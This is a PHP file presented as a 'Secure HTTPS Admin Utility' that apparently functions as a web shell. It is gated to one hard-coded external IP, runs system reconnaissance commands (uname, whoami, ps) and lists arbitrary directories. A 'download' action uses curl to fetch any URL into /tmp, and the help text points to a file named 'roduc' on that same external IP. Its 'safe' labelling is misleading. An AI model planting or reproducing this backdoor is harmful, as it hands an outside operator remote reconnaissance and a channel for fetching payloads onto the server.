<?php

/*
    Secure HTTPS Admin Utility

    Restricted to:
    - Your IP: 192.142.46.219
    - Localhost

    Safe predefined actions only
*/

header("Content-Type: text/plain");

/*
    ACCESS CONTROL
*/

$client_ip = $_SERVER['REMOTE_ADDR'] ?? '';

$allowed_ips = [
    '127.0.0.1',
    '::1',
    '192.142.46.219'
];

if (!in_array($client_ip, $allowed_ips, true)) {

    http_response_code(403);

    exit("Access denied\n");
}

/*
    SAFE COMMAND EXECUTION
*/

function run_safe($base_command, $arguments = [])
{
    $escaped_args = array_map('escapeshellarg', $arguments);

    $full_command = $base_command;

    if (!empty($escaped_args)) {
        $full_command .= ' ' . implode(' ', $escaped_args);
    }

    $output = shell_exec($full_command . " 2>&1");

    return $output ?: "No output\n";
}

/*
    ROUTER
*/

$action = $_GET['action'] ?? '';

switch ($action) {

    case 'uname':

        echo shell_exec('uname -a 2>&1');

        break;

    case 'hostname':

        echo shell_exec('hostname 2>&1');

        break;

    case 'whoami':

        echo shell_exec('whoami 2>&1');

        break;

    case 'disk':

        echo shell_exec('df -h 2>&1');

        break;

    case 'memory':

        echo shell_exec('free -m 2>&1');

        break;

    case 'processes':

        echo shell_exec('ps aux --sort=-%mem | head 2>&1');

        break;

    case 'list':

        $path = $_GET['path'] ?? '/tmp';

        echo run_safe('ls -lah', [$path]);

        break;

    case 'download':

        $url = $_GET['url'] ?? '';

        if (!$url) {
            exit("Missing URL parameter\n");
        }

        if (!filter_var($url, FILTER_VALIDATE_URL)) {
            exit("Invalid URL\n");
        }

        $filename = basename(
            parse_url($url, PHP_URL_PATH)
        );

        if (!$filename) {
            $filename = 'roduc';
        }

        $target = '/tmp/' . $filename;

        echo run_safe(
            'curl -L --output',
            [$target, $url]
        );

        echo "\nSaved to: $target\n";

        break;

    default:

        echo "====================================\n";
        echo "SECURE HTTPS ADMIN UTILITY\n";
        echo "====================================\n\n";

        echo "Available actions:\n\n";

        echo "?action=uname\n";
        echo "?action=hostname\n";
        echo "?action=whoami\n";
        echo "?action=disk\n";
        echo "?action=memory\n";
        echo "?action=processes\n";
        echo "?action=list&path=/tmp\n";
        echo "?action=download&url=https://192.142.46.219/roduc\n";

        break;
}

echo "\n";
?>
